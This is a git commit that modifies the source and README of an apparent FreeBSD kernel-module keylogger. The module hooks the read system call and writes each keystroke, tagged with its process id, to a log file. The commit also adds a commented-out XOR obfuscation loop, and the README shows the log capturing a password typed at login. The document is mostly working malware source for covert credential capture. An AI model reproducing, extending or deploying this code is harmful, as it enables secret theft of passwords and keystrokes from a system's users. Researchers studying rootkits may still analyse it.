remove print and decimal

This commit is contained in:
your-favorite-hacker
2015-06-04 16:16:50 +02:00
parent 8568c3f484
commit 38faa4d75e
2 changed files with 12 additions and 6 deletions

View File

@@ -48,7 +48,6 @@ static int keylog_write(struct thread *td, int fd, char *line, u_int len)
auio.uio_td = td; auio.uio_td = td;
printf(aiov.iov_base);
err = kern_writev(td, fd, &auio); err = kern_writev(td, fd, &auio);
return err; return err;
@@ -88,10 +87,12 @@ static int read_hook(struct thread *td, void *syscall_args)
uap = (struct read_args *)syscall_args; uap = (struct read_args *)syscall_args;
int error; int error;
char buf[1];
int done; int done;
char string[64];
int fd = -1; int fd = -1;
unsigned char buf[1];
unsigned char string[64];
// unsigned char XORPASS[] = "abcdefghij";
copyinstr(uap->buf,buf,1,&done); copyinstr(uap->buf,buf,1,&done);
error = sys_read(td, syscall_args); error = sys_read(td, syscall_args);
@@ -104,11 +105,16 @@ static int read_hook(struct thread *td, void *syscall_args)
// open up file // open up file
keylog_open(curthread, &fd, LOGPATH); keylog_open(curthread, &fd, LOGPATH);
// prepare string, processid, character and character decimal value // prepare string, processid and character decimal value, no newline
sprintf(string, "[%d]:%c(%d)\n", td->td_proc->p_pid, buf[0],buf[0]); sprintf(string, "%d:%c", td->td_proc->p_pid,buf[0]);
/* for (int j=0;j<10;j++){
string[j]=string[j]^XORPASS[j];
}*/
// write data to filedescriptor // write data to filedescriptor
keylog_write(curthread, fd, string, strlen(string)); keylog_write(curthread, fd, string, strlen(string));
// write a newline
keylog_write(curthread, fd, "\n", 1);
// close file // close file
keylog_close(curthread, fd); keylog_close(curthread, fd);

View File

@@ -36,7 +36,7 @@ Id Refs Address Size Name
[1915]: [1915]:
(10) (10)
The logfile is organized as follows: [pid]:character(character as decimal value). In this case you can see The logfile is organized as follows: [pid]:character. In this case you can see
that the entered password, called due the login binary with process id 1915 is: 'password'. that the entered password, called due the login binary with process id 1915 is: 'password'.
If you want to change the path, go into the sourcecode and look for the variable LOGPATH. If you want to change the path, go into the sourcecode and look for the variable LOGPATH.